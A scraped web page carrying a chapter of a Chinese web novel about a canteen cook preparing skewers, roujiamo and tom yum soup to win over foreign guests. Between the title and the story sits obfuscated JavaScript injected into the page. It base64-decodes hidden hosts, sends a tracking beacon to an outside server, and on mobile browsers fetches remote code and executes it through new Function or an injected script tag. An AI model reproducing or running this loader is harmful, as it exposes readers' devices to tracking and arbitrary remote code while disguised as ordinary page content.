第219章 用中华美食征服外宾(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
孙帮厨看了看苏寻味递过来的菜单,又看了看苏寻味,还是有些不放心地问道:“苏师傅,你真的有把握招待那外宾?莫非你还学过外国菜不成?”
苏寻味自然是学过外国菜的,不过这个时候,实在是不好解释。
她只能卖了个关子,道:“你别管我是不是学过外国菜,总之今天晚上,我叫那些外宾大饱口福就是了,赶紧去买菜吧。”
见苏寻味一点都不担心,甚至是成竹在胸的样子,孙帮厨这才放下心来,拿着菜单,骑上了食堂的三轮车,去买菜了。
孙帮厨出去的时候,恰好就碰上了赵青山和赵铁柱两个来上工,见孙帮厨骑着三轮车出去,赵青山顿时露出了虚伪的笑脸,道;“老孙啊,这是要出去?”
孙帮厨皮笑肉不笑地笑道:“是啊,苏师傅吩咐我去买点菜。”
赵青山听说苏寻味让他去买菜,顿时就来劲了,不着痕迹地打探道:“噢,苏师傅让你去买菜啊,不知道要买些什么菜呢?我跟外头那些卖菜的都是人识的,你将菜单我看看,我指给你几个地儿,你报我名字,能便宜不少呢,给单位省点钱,也算是为人民做贡献。”
孙帮厨也跟赵青山干了这么久的活儿了,这老狐狸翘起尾巴,他就知道赵青山打的是什么鬼主意了。
给单位省钱?他不就是想要看苏师傅列出来的菜单,看看他们今天到底做什么菜招待外宾吗?
他又不是个傻子。
孙师傅冷哼了一声,道:“不好意思,赵师傅,我得赶紧去买菜了,不能耽误时间了,回来还要干活呢,你也知道今天我们西食堂有招待任务,要是耽误了工夫,我可担不起这个责任呢。”
说着,孙帮厨没有再搭理赵青山,骑着三轮车不紧不慢地走了。
赵铁柱看着孙帮厨那个神秘兮兮的样子,忍不住当即冷哼道:“不就一个菜单,有什么好看的!今天来的可是外宾,他们就算做出花来啊,人家也吃不下去!就等着挨骂吧。”
赵青山也露出了一抹愉悦的笑意来,道:“走吧,他们挨骂那是他们的事情,我们也得准备今天的早饭了,争取让多些职工来咱们东食堂吃饭,这样月底的奖金和绩效就妥妥的了。”
两父子相视一笑,走进东食堂开始忙碌了起来。
这边,苏寻味的西食堂虽然有接待的任务,不过日常做饭也是不能够落下的,所以今天比平日都要更加的忙碌。
今天的早饭她就简单一点,仍然是煮了白粥,蒸了一大锅的咸花卷。
今天送来的食材又是五花肉和豆腐,鸡蛋,还有一些常用的配菜,反正食堂大部分都是这些东西。
中午的饭菜苏寻味打算做个卤肉,加上鸡蛋一起,一锅炖,做成卤蛋,还有今天同样有莲藕,也是可以卤的,一锅熟,方便省事。
等到晚上,再做个香辣豆腐,一个手撕包菜就行了。
食堂的大锅饭费不了多少心思,苏寻味吃完早饭直接将昨日卤鸭子的卤汤煮热了,将洗干净的五花肉和剥了壳的水煮蛋直接放到锅里头卤着就放了,等这时间差不多了,再将莲藕放进去。
剩下的时间,她可以用来准备晚上招待外宾的饭菜。
孙帮厨很快就按照单子将苏寻味要的配料都买回来了。
苏寻味的菜单上需要的材料很丰盛,不过主要的食材不碍就是牛肉。
相对咱们国人经常吃的鸡鸭鱼肉猪肉等,国外的人主要食材的确是牛肉多。
所以想要招待好外宾,这个牛肉是必不可少的。
苏寻味也没有打算做多么花里胡哨的东西,她就想简单地烤个牛肉和其它的小菜,然后做几个中式汉堡,也就是肉夹馍,再来一道国外的冬阴功汤,一顿晚饭这不就出来了吗?
这国外人爱喝的汤其实有比较多的选择,有罗宋汤,也有奶油蘑菇汤,还有味增汤之类的。zx.r
她选在这个泰式的冬阴功汤,主要是因为酸辣开胃,是为了照顾在座的国人领导的。
毕竟又是肉夹馍又是烤肉的,人家外宾可以消化得好好的,但是对于咱们来说,未免有些油腻了,吃些酸辣的汤水,正好可以去除一些胃中的油腻,搭配起来也是相得益彰的。
苏寻味将孙帮厨买回来的牛肉先处理了一下,她并没有打算直接做牛排,因为如果做成牛牛排的花,外宾是照顾到了,但是国人不会用刀叉,这样吃饭的时候就难免尴尬,为了避免这种外宾不会用筷子,国人又不会用刀叉的尴尬,苏寻味决定来一场返璞归真的晚饭。
那就是都直接上手算了!
肉夹馍作为主食,都是需要上手吃的。
而菜,苏寻味打算全部做成一串串的烤串,这样大家同样可以上手就吃,避免了用到餐具。
唯一需要用到餐具的就是汤了,不过只要每个人给个勺子就行了,这勺子大家都能用,挺好的。
这烤的牛肉需要先切成大块的牛肉粒,然后用鸡蛋清和黑胡椒研制一下,再拿来竹签,将所有的食材都穿起来。
牛肉,鸡肉,五花肉,这些肉类中间隔一些青红辣椒。
当然素菜也是必不可少的,各种各样的蘑菇,蔬菜,还有烤玉米。
将食材清洗干净串好后,就万事俱备,只欠东风了。
旁晚十分,距离招待外宾的时间不到一个小时,孙帮厨急得都有些上火了,道:“苏师傅,咱们还不开始做饭啊?这外宾和领导马上要来宴会厅吃法了,咱们得抓紧啊!”
另外两个帮工也是一副火急火燎的样子。
苏寻味却是相当的淡定,看了看时间,道:“差不多了,我先弄个馍吧。”
这肉夹馍作为主食,肯定是要先做好的。
这话一出,孙帮厨和另外两个帮工顿时就惊愕得瞪大了双眸,不可置信道:“不是,苏师傅啊!你指挥着我们忙这个忙那个的,忙活了一整天,你就给人家弄个馍吃啊!这馍咱们现在都不喜欢吃啊!又干又硬的,有什么好吃的!你这不是!你这不是瞎胡闹吗?”